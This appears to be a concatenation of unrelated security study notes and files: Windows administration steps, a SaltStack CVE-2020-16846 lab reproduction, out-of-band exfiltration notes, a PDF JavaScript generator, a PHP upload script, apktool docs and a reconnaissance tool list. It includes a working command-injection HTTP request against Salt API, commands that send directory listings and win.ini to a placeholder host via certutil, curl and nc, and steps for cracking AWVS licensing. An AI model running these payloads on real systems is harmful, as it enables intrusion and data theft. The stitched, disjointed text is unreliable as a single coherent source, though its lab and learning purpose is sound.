**例1** 1. 配置安全策略,使得用户在登录错误尝试 3 次之后锁定,锁定时间为 5 分钟,锁定间隔为 2 分钟 并记录登录错误信息. ```markdown 1. 开始——管理工具——本地安全策略 (或 win+r 输入 secpol.msc) 2. 账号策略——账户锁定策略——账户锁定阈值——3次 3. 账号策略——账户锁定策略——账户锁定时间——5分钟 4. 账号策略——账户锁定策略——重置账户锁定计数器——2分钟 5. 本地策略——审核策略——审核账号登录事件——失败 ``` **例2** 1. 新建用户 user1、user2、user3 并限制 user1 的磁盘配额为 100MB,警告等级为 80M.user2 的配额为 500M,user3 为不限制. ```markdown 1. 开始——管理工具——计算机管理——系统工具——本地用户和组——用户——新用户——user1 2. 新用户——user2 3. 新用户——user3 4. 右键磁盘——属性——配额——启动配额管理——配额项——配额——新建配额项 5. 剩下的略 ``` --- ## telnet **例1** 1. 配置 telnet 服务 ```markdown 1. 服务器管理器——添加功能——Telnet 服务器 2. 开始——管理工具——服务——Telnet——手动——开启 ``` --- ## 文件共享 **例1** 1. 创建文件共享,共享目录为:C:\backup ```markdown 1. 右键 C:\backup——共享——高级共享——共享此文件夹 2. 右键 C:\backup——共享——共享——Administrator——共享 ``` --- ## RDP ```markdown 1. 点击'开始‘,右击’计算机‘-‘属性’-’远程‘-’允许允许任意版本远程桌面的计算机连接‘ ``` **连接被拒绝 因为没有授权此用户账户进行远程登录** ```markdown 1. 点击'开始‘,右击’计算机‘-‘属性’-’远程‘-’选择用户’-‘添加’ 2. 在’输入对象名称来选择(示例)(E):‘ 那里输入你要赋予远程连接权限的用户名(如,test),然后点击’检查姓名‘, ``` **多开** ``` win+R gpedit.msc 计算机配置->管理模板->Windows 组件->远程桌面服务->远程桌面会话主机->连接 将 "将远程桌面服务的用户限制到单独的远程桌面会话" 禁用 ``` --- ## 启动项 记录2种开启启动项的方法 - win+R,shell:startup - msconfig
sec-knowleage
## Go代码审计 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **环境搭建** 推荐 goland 配置远程 debug 调试,参考笔记 [goland 远程调试](../../../Develop/Golang/笔记/goland远程调试.md) **相关工具** - [praetorian-inc/gokart](https://github.com/praetorian-inc/gokart) - A static analysis tool for securing Go code ```bash go install github.com/praetorian-inc/gokart@latest gokart scan <directory> # 扫描远程项目 gokart scan -r https://github.com/ShiftLeftSecurity/shiftleft-go-demo -v # 指定分支 gokart scan -r https://github.com/ShiftLeftSecurity/shiftleft-go-demo -b actions_fix ``` - [madneal/sec-dog](https://github.com/madneal/sec-dog) - goland sca 插件 **相关文章** - [trojan多用户管理部署程序审计学习](https://r0fus0d.blog.ffffffff0x.com/post/trojan-case/) - [mayfly-go审计学习](https://r0fus0d.blog.ffffffff0x.com/post/mayfly-go/) - [Go代码审计 - gitea 远程命令执行漏洞链](https://www.leavesongs.com/PENETRATION/gitea-remote-command-execution.html) **相关靶场** - [Hardw01f/Vulnerability-goapp](https://github.com/Hardw01f/Vulnerability-goapp) - https://xz.aliyun.com/t/7243 - https://www.freebuf.com/articles/web/224363.html --- ## 硬编码 **通用关键词** - [APIkey/密钥信息通用关键词](../../信息收集/信息收集.md#通用关键词) --- ## 命令执行 **审计函数** ``` exec.Command ```
sec-knowleage
--- title: 威胁狩猎学习笔记 --- # Threat Hunting 是什么?为什么?怎么做?效果怎么样?发展方向是什么? //TODO ## 威胁狩猎模型 威胁狩猎模型可以分为,IOC-Based Hunting和TTP-Based Hunting。 ## 一些流程 ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200821122907.png) 图:威胁狩猎的流程[1] ## 参考 - https://mp.weixin.qq.com/s?__biz=MzI5MzY2MzM0Mw==&mid=2247484237&idx=1&sn=a02b4576bac88de4089a259d3da3ccb9&chksm=ec6fe44ddb186d5b57eb61af95a7edbf24d4012fa640a9382e2e99f236f0215f2b3953658297&scene=38#wechat_redirect - https://paper.seebug.org/1132/ - https://www.youtube.com/watch?v=60pyxA0U9EQ - https://chrissanders.org/training/elk/ - https://www.aqniukt.com/course/2062 ## References \[1] 威胁情报的私有化生产和级联:威胁狩猎及情报共享, [狴犴安全团队 ], (https://www.freebuf.com/author/狴犴安全团队) https://www.freebuf.com/articles/es/222359.html
sec-knowleage
# SaltStack Shell Injection (CVE-2020-16846) [中文版本(Chinese version)](README.zh-cn.md) Salt is a new approach to infrastructure management built on a dynamic communication bus. Salt can be used for data-driven orchestration, remote execution for any infrastructure, configuration management for any app stack, and much more. In November 2020, SaltStack officially disclosed two vulnerabilities, CVE-2020-16846 and CVE-2020-25592. CVE-2020-25592 allows arbitrary user to use the SSH module, and CVE-2020-16846 allows users to execute arbitrary commands. Chain these two vulnerabilities will allow unauthorized attackers to execute arbitrary commands through the Salt API. References: - https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag - https://docs.saltstack.com/en/latest/ref/netapi/all/salt.netapi.rest_cherrypy.html ## Vulnerable Environment Execute the following command to start a SaltStack-Master service: ``` docker compose up -d ``` After the SaltStack-Master is started, the following ports will be listened: - 4505/4506: SaltStack-Master server, which is a bridge between master and minions - 8000: Salt's API server, **SSL requiring** - 2222: SSH server inside the container ## Exploit Send the following request to `https://your-ip:8000/run`: ``` POST /run HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: application/x-yaml Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 87 token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|touch%20/tmp/success%3b ``` Inject the command `touch /tmp/success` through the `ssh_priv` parameter: ![](1.png)
sec-knowleage
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.apache.shiro.samples; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.web.servlet.error.ErrorAttributes; import org.springframework.boot.web.servlet.error.ErrorController; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.context.request.ServletWebRequest; import javax.servlet.http.HttpServletRequest; import java.util.Map; /** */ @Controller public class RestrictedErrorController implements ErrorController { private static final String ERROR_PATH = "/error"; @Autowired private ErrorAttributes errorAttributes; @Override public String getErrorPath() { return ERROR_PATH; } @RequestMapping(ERROR_PATH) String error(HttpServletRequest request, Model model) { Map<String, Object> errorMap = errorAttributes.getErrorAttributes(new ServletWebRequest(request), false); model.addAttribute("errors", errorMap); return "error"; } }
sec-knowleage
# FROM https://github.com/osnr/horrifying-pdf-experiments import sys from pdfrw import PdfWriter from pdfrw.objects.pdfname import PdfName from pdfrw.objects.pdfstring import PdfString from pdfrw.objects.pdfdict import PdfDict from pdfrw.objects.pdfarray import PdfArray def make_js_action(js): action = PdfDict() action.S = PdfName.JavaScript action.JS = js return action def make_field(name, x, y, width, height, r, g, b, value=""): annot = PdfDict() annot.Type = PdfName.Annot annot.Subtype = PdfName.Widget annot.FT = PdfName.Tx annot.Ff = 2 annot.Rect = PdfArray([x, y, x + width, y + height]) annot.MaxLen = 160 annot.T = PdfString.encode(name) annot.V = PdfString.encode(value) # Default appearance stream: can be arbitrary PDF XObject or # something. Very general. annot.AP = PdfDict() ap = annot.AP.N = PdfDict() ap.Type = PdfName.XObject ap.Subtype = PdfName.Form ap.FormType = 1 ap.BBox = PdfArray([0, 0, width, height]) ap.Matrix = PdfArray([1.0, 0.0, 0.0, 1.0, 0.0, 0.0]) ap.stream = """ %f %f %f rg 0.0 0.0 %f %f re f """ % (r, g, b, width, height) # It took me a while to figure this out. See PDF spec: # https://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf_reference_1-7.pdf#page=641 # Basically, the appearance stream we just specified doesn't # follow the field rect if it gets changed in JS (at least not in # Chrome). # But this simple MK field here, with border/color # characteristics, _does_ follow those movements and resizes, so # we can get moving colored rectangles this way. annot.MK = PdfDict() annot.MK.BG = PdfArray([r, g, b]) return annot def make_page(fields, script): page = PdfDict() page.Type = PdfName.Page page.Resources = PdfDict() page.Resources.Font = PdfDict() page.Resources.Font.F1 = PdfDict() page.Resources.Font.F1.Type = PdfName.Font page.Resources.Font.F1.Subtype = PdfName.Type1 page.Resources.Font.F1.BaseFont = PdfName.Helvetica page.MediaBox = PdfArray([0, 0, 612, 792]) page.Contents = PdfDict() page.Contents.stream = """ BT /F1 24 Tf ET """ annots = fields page.AA = PdfDict() # You probably should just wrap each JS action with a try/catch, # because Chrome does no error reporting or even logging otherwise; # you just get a silent failure. page.AA.O = make_js_action(""" try { %s } catch (e) { app.alert(e.message); } """ % (script)) page.Annots = PdfArray(annots) return page if len(sys.argv) > 1: js_file = open(sys.argv[1], 'r') fields = [] for line in js_file: if not line.startswith('/// '): break pieces = line.split() params = [pieces[1]] + [float(token) for token in pieces[2:]] fields.append(make_field(*params)) js_file.seek(0) out = PdfWriter() out.addpage(make_page(fields, js_file.read())) out.write('result.pdf')
sec-knowleage
# OOB --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **相关文章** - [带外通道技术(OOB)总结](https://www.freebuf.com/articles/web/201013.html) - [OOB(out of band)分析系列之DNS渗漏](https://cloud.tencent.com/developer/article/1047283) - [Burpsuite之BurpCollaborator模块介绍](https://www.jianshu.com/p/92b4b8ddf12f) - [Persistent Access to Burp Suite Sessions - Step-by-Step Guide](https://www.onsecurity.io/blog/persistent-access-to-burp-suite-sessions-step-by-step-guide/) - [Burp Collaborator](https://portswigger.net/burp/documentation/collaborator) - [HTTP BLIND](https://web.archive.org/web/20200224073305/https://echocipher.github.io/2019/07/22/HTTP-BLIND/) - [Cracking the lens: targeting HTTP's hidden attack-surface](https://portswigger.net/research/cracking-the-lens-targeting-https-hidden-attack-surface) - [System Hardening을 피해 RCE를 탐지하기 위한 OOB 방법들](https://www.hahwul.com/2022/03/11/bypass-system-hardening-rce-oob/) - [ping 命令跨平台探测无回显 RCE 技巧](https://mp.weixin.qq.com/s/6NoLiQll9Cz2WjCUdDs6Mw) **在线监控平台** - http://ceye.io/ - https://webhook.site - http://www.dnslog.cn/ - https://iplogger.org/ - https://log.xn--9tr.com/ **相关工具** - [uknowsec/SharpNetCheck](https://github.com/uknowsec/SharpNetCheck) - 该工具可以在 dnslog 中回显内网 ip 地址和计算机名,可实现内网中的快速定位可出网机器 - [ztgrace/mole](https://github.com/ztgrace/mole) - 识别和利用out-of-band (OOB)漏洞的burp扩展 **平台搭建** - [十分钟快速自建DNSlog服务器](https://mp.weixin.qq.com/s/m_UXJa0imfOi721bkBpwFg) - [DNSLOG的快速搭建攻略](https://www.yinxiang.com/everhub/note/471fd1c4-7885-4b67-aa39-41dc36102b43) - [安全技术|DNSLOG平台搭建从0到1](https://www.4hou.com/posts/VoJ9) - [自建DNSLog平台](https://www.mi1k7ea.com/2021/03/29/%E8%87%AA%E5%BB%BADNSLog%E5%B9%B3%E5%8F%B0/) - [快速搭建自用dnslog](https://blog.csdn.net/m0_58434634/article/details/124315127) **平台** - [BugScanTeam/DNSLog](https://github.com/BugScanTeam/DNSLog) - DNSLog 是一款监控 DNS 解析记录和 HTTP 访问记录的工具 - [lanyi1998/DNSlog-GO](https://github.com/lanyi1998/DNSlog-GO) - DNSLog-GO 是一款 golang 编写的监控 DNS 解析记录的工具,自带 WEB 界面 - [chennqqi/godnslog](https://github.com/chennqqi/godnslog) ```bash docker pull "sort/godnslog" docker run -p80:8080 -p53:53/udp "sort/godnslog" serve -domain yourdomain.com -4 100.100.100.100 # yourdomain.com 替换为你的域名 100.100.100.100 替换为你的公网IP ``` - [yumusb/DNSLog-Platform-Golang](https://github.com/yumusb/DNSLog-Platform-Golang) - DNSLOG平台 golang 一键启动版 - [phith0n/conote-community](https://github.com/phith0n/conote-community) - Conote 综合安全测试平台社区版 - [projectdiscovery/interactsh](https://github.com/projectdiscovery/interactsh) - An OOB interaction gathering server and client library - [Buzz2d0/Hyuga](https://github.com/Buzz2d0/Hyuga) - 一个用来检测带外(Out-of-Band)流量(DNS查询和HTTP请求)的监控工具 - [AbelChe/cola_dnslog](https://github.com/AbelChe/cola_dnslog) - [AlphabugX/Alphalog](https://github.com/AlphabugX/Alphalog) - [Li4n0/revsuit](https://github.com/Li4n0/revsuit) - RevSuit is a flexible and powerful reverse connection platform designed for receiving connection from target host in penetration. --- ## Windows - ping ``` ping %USERNAME%.xxx.ceye.io ping -nc 4 %USERNAME%.xxx.ceye.io ``` - certutil 使用 certutil 请求证书文件,并将下载文件重定向到 nul,无缓存、无需浏览器实现发起 http 请求 ```bash for /F %x in ('dir /b c:\') do certutil -urlcache -split -f "http://xxx.ceye.io/?result=%x" nul ``` - curl windows 环境默认是支持 curl 的 ```bash for /F %x in ('dir /b c:\') do curl http://xxx.ceye.io/%x curl -F file=@C:\windows\win.ini http://xxx.ceye.io ``` ## linux - curl ``` curl http://xxx.ceye.io/%x ``` - wget ``` wget http://xxx.ceye.io/%x ``` - ping linux 默认 ping 不带 -c 参数是会导致无限ping下去的,一定要带 -c ```bash ping -c 4 xxx.ceye.io ping -nc 4 xxx.ceye.io ``` - openssl ``` openssl s_client -connect xxx.ceye.io:80 ``` - nc ``` echo -e "GET / HTTP/1.1\nHost: http://xxx.ceye.io/%x\n\n" | nc xxx.ceye.io 80 ``` - dig ``` dig xxx.ceye.io ```
sec-knowleage
<?php if (!empty($_FILES)): $ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION); if (!in_array($ext, ['gif', 'png', 'jpg', 'jpeg'])) { die('Unsupported filetype uploaded.'); } $new_name = __DIR__ . '/uploadfiles/' . $_FILES['file_upload']['name']; if(!move_uploaded_file($_FILES['file_upload']['tmp_name'], $new_name)){ die('Error uploading file - check destination is writeable.'); } die('File uploaded successfully: ' . $new_name); else: ?> <form method="post" enctype="multipart/form-data"> File: <input type="file" name="file_upload"> <input type="submit"> </form> <?php endif;
sec-knowleage
### # apktool # ### apktool 工具包描述 ### 这是一款用于逆向工程、回编译、逆向二进制app的工具。它可以解码资源到几乎最初开发时的形式,并可以在修改之后重新构建它们;它提供了断点调试功能而且使得重新构建工程文件结构自动化,简单化,省去了大量重复工作,例如:打包apk文件等。 ### 特点: ### * 解码资源到最初的状态(其中包括.arsc,xmls和9.png等资源文件)并复原他们到开发时的状态。 * smali (可以理解为android的汇编码)调试功能。 * 提高逆向效率,减少重复工作。 源码:: [https://code.google.com/p/android-apktool/]( https://code.google.com/p/android-apktool/) [apktool 主页](https://code.google.com/p/android-apktool/) | [Kali apktool 仓库](http://git.kali.org/gitweb/?p=packages/apktool.git;a=summary) * 作者:Brut.alll * 协议:Apache-2.0 ### apktool工具介绍 ### Apktool v1.5.2 - 一款用于逆向安卓文件的工具 版权归于 2010 Ryszard Wiśniewski <brut.alll@gmail.com> 包括 smali v1.4.1, 和 baksmali v1.4.1 更新 @iBotPeaches <connor.tumbleson@gmail.com> Apache License 2.0 (http://www.apache.org/licenses/LICENSE-2.0) 语法: apktool [-q|--quiet OR -v|--verbose] COMMAND [...] 命令: d[编码] [选项] <file.apk> [<路径>] 解码 <file.apk> 到 <路径>. 选项: -s, --no-src 不解码源代码文件 -r, --no-res 不解码资源文件 -d, --debug 开启debug解码模式,查看项目页查看更多信息 -b, --no-debug-info 拷贝模式 -- 不写入debug语句 (.local, .param, .line, etc.) -f, --force 强制删除目标文档 -t <tag>, --frame-tag <tag> 使用framwork层系统资源标签模式 --frame-path <dir> 使用特定目录存放framwork层系统资源 --keep-broken-res 当某些需要被反编的资源存在错误,例如:无效的标签对,但是你仍然想要反编他们即使他们存在错误,那你首先要在编译构建它们之前手动修复它们。 语法: b[uild] [OPTS] [<app_path>] [<out_file>] 编译打包apk,指定某个路径中被反编译的程序文件 工具将自动检测文件的改变以及组织形式通过几个步骤 If you omit <app_path> then current directory will be used. 省略路径参数,默认为当前目录 If you omit <out_file> then <app_path>/dist/<name_of_original.apk> will be used. 假如省略输出文件名称,那么app原来的路径dist目录下生成重新回编译打包的apk文件以原文件命名 OPTS: -f, --force-all 跳过检测直接编译打包 -d, --debug debug编译模式 -a, --aapt 加载aapt工具从自定义的目录下 if|install-framework <framework.apk> [<tag>] --frame-path [<location>] Install framework file to your system. 假如选择了设置framework层资源标签,首先需要指定该apk安装的路径 更多查看: http://code.google.com/p/android-apktool/ 更多查看: smali/baksmali info, see: http://code.google.com/p/smali/ ### apktool 使用实例 ### #### 使用debug模式反编译 /root/SdkControllerApp.apk文件 #### root@kali:~# apktool d /root/SdkControllerApp.apk I: Baksmaling... I: Loading resource table... I: Loaded. I: Decoding AndroidManifest.xml with resources... I: Loading resource table from file: /root/apktool/framework/1.apk I: Loaded. I: Regular manifest package... I: Decoding file-resources... I: Decoding values */* XMLs... I: Done. I: Copying assets and libs... **译者:SunnyAndroid** **校对:-** > 译者的话: > 现在一般使用android killer 集成好的一键反编译工具,反编译jar工具包最好使用shakalaka,通过动态和静态方式(idea wireshake)结合抓包工具调试破解手机软件。
sec-knowleage
# These are supported funding model platforms github: testert1ng # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] patreon: # Replace with a single Patreon username open_collective: # Replace with a single Open Collective username ko_fi: # Replace with a single Ko-fi username tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry liberapay: # Replace with a single Liberapay username issuehunt: # Replace with a single IssueHunt username otechie: # Replace with a single Otechie username custom: ['https://www.paypal.me/testerting'] # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']
sec-knowleage
# 信息收集 <p align="center"> <img src="../../../../assets/img/Security/RedTeam/信息收集/信息收集/1.png" width="70%"> </p> > 注 : 笔记中拓扑图 xmind 源文件在其图片目录下 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- ## 大纲 * **[漏洞信息](#漏洞信息)** * [DAST](#dast) * [web漏扫](#web漏扫) * [主动漏扫](#主动漏扫) * [被动漏扫](#被动漏扫) * [综合漏扫](#综合漏扫) * [IAST](#iast) * [SAST](#sast) * [SRC历史漏洞)](#src历史漏洞) * [服务-组件-协议](#服务-组件-协议) * **[空间测绘](#空间测绘)** * **[网络](#网络)** * [IP扫描](#ip扫描) * [MAC扫描](#mac扫描) * [端口扫描](#端口扫描) * [域信息](#域信息) * [域环境](#域环境) * [SPN扫描](#spn扫描) * [域控](#域控) * [工控资产](#工控资产) * [网络层指纹](#网络层指纹) * **[网站](#网站)** * [真实IP](#真实ip) * [目录扫描](#目录扫描) * [参数枚举](#参数枚举) * [web指纹](#web指纹) * [旁站 & 反查](#旁站--反查) * [历史快照](#历史快照) * [whois与备案](#whois与备案) * [截图](#截图) * **[主机](#主机)** * **[组织](#组织)** * [控股信息](#控股信息) * [供应链信息](#供应链信息) * [子域](#子域) * [商标](#商标) * [网站备案号](#网站备案号) * [手机APP/小程序](#手机app小程序) * [员工信息](#员工信息) * [email](#email) * **[APIkey/密钥信息](#apikey密钥信息)** * [通用关键词](#通用关键词) * [正则规则](#正则规则) --- **相关文章** - [我的信息收集之道](https://www.cnblogs.com/cwkiller/p/11900440.html) - [【原创】CDN 2021 完全攻击指南(一)](http://binmake.com/post/cdn-2021-1/) - [我的渗透测试方法论](https://mp.weixin.qq.com/s/F70-lHQzDzEOZrLapVEcMg) **资产过滤/整理** - [mstxq17/MoreFind](https://github.com/mstxq17/MoreFind) - 一款用于快速导出 URL、Domain 和 IP 的小工具 - [tomnomnom/waybackurls](https://github.com/tomnomnom/waybackurls) - 提取 Wayback Machine 已知的域下所有 URL ```bash cat domains.txt | waybackurls > urls ``` - [lc/gau](https://github.com/lc/gau) - 从 AlienVault 的 Open Threat Exchange,Wayback Machine 和 Common Crawl 中获取已知的 URL。 --- ## 漏洞信息 **相关文章** - [一文洞悉DAST、SAST、IAST ——Web应用安全测试技术对比浅谈](https://www.aqniu.com/learn/46910.html) - [小议 Dashboard](https://www.tr0y.wang/2021/02/22/about-dashboard/) ### DAST `动态应用测试` 动态应用程序安全测试(Dynamic Application Security Testing)技术在测试或运行阶段分析应用程序的动态运行状态。它模拟黑客行为对应用程序进行动态攻击,分析应用程序的反应,从而确定该 Web 应用是否易受攻击。 #### web漏扫 漏洞扫描器就是扫描漏洞的工具,它能够及早暴露网络上潜在的威胁,有助于加强系统的安全性。漏洞扫描除了能扫描端口,还能够发现系统存活情况,以及哪些服务在运行。 漏洞扫描器本质上是一类自动检测本地或远程主机安全弱点的程序,能够快速的准确的发现扫描目标存在的漏洞,例如,SQL 注入,XSS 攻击,CSRF 攻击等,并提供给使用者扫描结果,提前探知到漏洞,预先修复。 在渗透过程中,一个好的漏扫工具在渗透测试中是至关重要的,可以说是渗透成功或者失败的关键点。一款优秀的扫描器会使渗透更加轻松,但不是扫描漏洞都能用漏扫扫出来的,比如:逻辑漏洞、一些较隐蔽的 XSS 和 SQL 注入。所以,渗透的时候,漏扫都是需要人员来配合使用的。 **漏扫靶机** - http://testphp.vulnweb.com/ - AWVS PHP+Ajax 漏洞扫描器测试平台 - http://testphp.vulnweb.com/AJAX/ - AWVS Ajax 漏洞扫描器测试平台 - http://testfire.net/ - IBM Appscan 测试平台 - http://demo.aisec.cn/demo/aisec/ - Sec 漏洞扫描器测试平台 - http://testaspnet.vulnweb.com/ - AWVS .Net 漏洞扫描器测试平台 - http://testasp.vulnweb.com/ - AWVS ASP 漏洞扫描器测试平台 - http://zero.webappsecurity.com/ --- ##### 主动漏扫 **相关文章** - [扫描POC的收纳之道](https://mp.weixin.qq.com/s/bN-etCS-5Ds1dm9O_Zjk-A) **相关工具** - [projectdiscovery/nuclei](../../安全工具/nuclei.md) - 一款基于 Go 语言开发的运行速度非常快且易于使用的开源安全漏洞扫描工具 - [knownsec/pocsuite3](https://github.com/knownsec/pocsuite3) - [jaeles-project/jaeles](https://github.com/jaeles-project/jaeles) - [AWVS-acunetix](https://www.acunetix.com/vulnerability-scanner/) - 相关文章 - [编写 AWVS 脚本探测web services](http://gv7.me/articles/2017/Writing-AWVS-scripts-to-detect-Web-Services/) - [论如何反击用 AWVS 的黑客](https://www.freebuf.com/news/136476.html) - [了解AWVS的漏洞贪心设计,一个默认静态页竟然扫了3000+HTTP请求](https://mp.weixin.qq.com/s/EpCXF1UN6QJRLuG7VMKaYg) - 解密脚本 - [fnmsd/awvs_script_decode](https://github.com/fnmsd/awvs_script_decode) - 解密好的AWVS10.5 data/script/目录下的脚本 - [gatlindada/awvs-decode](https://github.com/gatlindada/awvs-decode) - AWVS 解码/解密方法,仅15行代码!!无须任何依赖任何工具 - awvs13 docker 部署 - 来自 <sup>[[国光博客](https://www.sqlsec.com/2020/04/awvs.html)]</sup> ```bash docker pull secfa/docker-awvs # pull 拉取下载镜像 docker run -it -d -p 13443:3443 secfa/docker-awvs # 将Docker的3443端口映射到物理机的 13443端口 # 容器的相关信息 # awvs13 username: admin@admin.com # awvs13 password: Admin123 # AWVS版本:13.0.200217097 # 浏览器访问:https://127.0.0.1:13443/ 即可 ``` - https://hub.docker.com/r/raul17/awvs13_crack ```bash docker run -tid -p 13443:3443 --name awvs_13_ubuntu --privileged=true images_id "/sbin/init" # awvs用户名密码见:/opt/awvs13/README.MD # awvs页面:https://x.x.x.x:13443/ 若访问awvs页面,发现没被破解,可进入容器,手动破解。 cd /opt/awvs13 cp wvsc /home/acunetix/.acunetix/v_200807155/scanner/ chmod +x /home/acunetix/.acunetix/v_200807155/scanner/wvsc cp license_info.json /home/acunetix/.acunetix/data/license/ ``` - 辅助工具 - [test502git/awvs13_batch_py3](https://github.com/test502git/awvs13_batch_py3) - 针对 AWVS 扫描器开发的批量扫描脚本,支持联动 xray、burp、w13scan 等被动批量 - [al0ne/Vxscan](https://github.com/al0ne/Vxscan) - python3 写的综合扫描工具,主要用来敏感文件探测 - 指纹+端口+目录结合,偏向信息泄露,漏洞扫描结果较少 - nikto - 效果一般 ``` nikto -host http://xxx.xxx.xxx.xx:8080/ ``` - [Xyntax/POC-T](https://github.com/Xyntax/POC-T) - 适合批量任务,速度可以 - [刷 SRC 经验之批量化扫描实践](https://www.freebuf.com/sectool/176562.html) - [netsparker](https://www.netsparker.com) - [woodpecker-framework/woodpecker-framwork-release](https://github.com/woodpecker-framework/woodpecker-framwork-release) - [hktalent/scan4all](https://github.com/hktalent/scan4all) --- ##### 被动漏扫 **相关文章** - [HTTP被动扫描代理的那些事](https://www.freebuf.com/articles/web/212382.html) **相关工具** - [chaitin/xray](https://github.com/chaitin/xray) - 长亭的洞鉴漏扫社区版 - [xray](../../安全工具/xray.md) - [w-digital-scanner/w13scan](https://github.com/w-digital-scanner/w13scan) - 一款插件化基于流量分析的扫描器,通过编写插件它会从访问流量中自动扫描,基于 Python3。 ```bash python3 w13scan.py -s 127.0.0.1:7777 --html # 端口可省略,默认为7778,开启--html即实时生成html报告 ``` --- #### 综合漏扫 **相关工具** - [Nessus](https://www.tenable.com/downloads/nessus) - 报告翻译 - [FunnyKun/NessusReportInChinese](https://github.com/FunnyKun/NessusReportInChinese) - [Bypass007/Nessus_to_report](https://github.com/Bypass007/Nessus_to_report) - 输出渲染 - [Ebryx/Nessus_Map](https://github.com/Ebryx/Nessus_Map) - 渲染 .nessus 文件 - [0bs1d1an/sr2t](https://gitlab.com/0bs1d1an/sr2t) - 将扫描报告转换为表格格式 - [Hypdncy/NessusToReport](https://github.com/Hypdncy/NessusToReport) - nessus扫描报告自动化生成工具 - [ysrc/xunfeng](https://github.com/ysrc/xunfeng) - 巡风是一款适用于企业内网的漏洞快速应急,巡航扫描系统。 - [Goby](https://gobies.org/) - 内网扫描, 速度挺快, 打 C 段很好用 - [闲来无事,反制GOBY](https://mp.weixin.qq.com/s/tl17-Qz-VXpSlZtZWDgeHg) --- ### IAST `交互式应用测试` 交互式应用程序安全测试(Interactive Application Security Testing)是2012年 Gartner 公司提出的一种新的应用程序安全测试方案,通过代理、VPN 或者在服务端部署 Agent 程序,收集、监控 Web 应用程序运行时函数执行、数据传输,并与扫描器端进行实时交互,高效、准确的识别安全缺陷及漏洞,同时可准确确定漏洞所在的代码文件、行数、函数及参数。IAST 相当于是 DAST 和 SAST 结合的一种互相关联运行时安全检测技术。 **相关文章** - [浅谈被动式IAST产品与技术实现](https://mp.weixin.qq.com/s/6olAInQLPDaDAO3Up1rQvQ) - [IAST交互式应用安全测试建设实录(一)](https://www.freebuf.com/sectool/290671.html) - [DongTai 被动型IAST工具](https://mp.weixin.qq.com/s/hffySw34rfzxZlxP7Uw1qg) **相关工具** - https://github.com/btraceio/btrace - https://newrelic.com/ - https://github.com/HXSecurity/DongTai --- ### SAST `静态应用测试` 静态应用程序安全测试(Static Application Security Testing)技术通常在编码阶段分析应用程序的源代码或二进制文件的语法、结构、过程、接口等来发现程序代码存在的安全漏洞。 **相关资源** - [analysis-tools-dev/static-analysis](https://github.com/analysis-tools-dev/static-analysis) - A curated list of static analysis (SAST) tools for all programming languages, config files, build tools, and more. **相关工具** - Fortify Sca - 规则解密 - 相关文章 - [fortify规则库解密之旅](https://gv7.me/articles/2019/fortify-rule-library-decryption-process/) - [fortify SCA内置规则破解到简单工具开发使用](https://blog.csdn.net/liweibin812/article/details/107242966) - 解密工具 - [liweibin123/fortify](https://github.com/liweibin123/fortify) - Checkmarx CxSAST - Synopsys Static Analysis (Coverity) - [ajinabraham/nodejsscan](https://github.com/ajinabraham/nodejsscan) - nodejsscan is a static security code scanner for Node.js applications. - [ShiftLeftSecurity/sast-scan](https://github.com/ShiftLeftSecurity/sast-scan) - Scan is a free & Open Source DevSecOps tool for performing static analysis based security testing of your applications and its dependencies. CI and Git friendly. 更多 SAST 工具请参考 [语言安全](../语言安全/语言安全.md) --- ## 空间测绘 - [空间测绘笔记](./空间测绘.md) --- ## 网络 **相关文章** - [内外网资产对应关系定位 [ 补 ]](https://mp.weixin.qq.com/s/zrJ2yP6B64A-iFnBdea9PQ) - [基于service的远程主机os识别之抄个痛快](https://mp.weixin.qq.com/s/N0C9e17BgbzDBA4K48n6Kw) - [使用 DNS-SD 和 SSDP 扫描内网主机](https://paper.seebug.org/1727/) **TTL 来判断目的主机的操作系统类型** 下面是默认操作系统的 TTL: ```bash 1、WINDOWS NT/2000 TTL:128 2、WINDOWS 95/98 TTL:32 3、UNIX TTL:255 4、LINUX TTL:64 5、WIN7 TTL:64 ``` **修改本机电脑上面的默认 TTL 值** 通过修改本机上的 TTL 值可以混淆攻击者的判断 (当然, 很少有用户会这么做).TTL 值在注册表的位置是: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters` 其中有个 DefaultTTL 的 DWORD 值, 其数据就是默认的 TTL 值了, 我们可以修改 DefaultTTL 里面的 TTL 默认值, 但不能大于十进制的 255. **资产扫描工具** - [JE2Se/AssetScan](https://github.com/JE2Se/AssetScan) - 资产探测工具,检测存活,检测风险端口,常规端口,全端口探测等等,对探测的端口的脆弱面进行安全分析进行 - 调用 masscan 端口扫 + 简易漏扫 + 报表生成 - 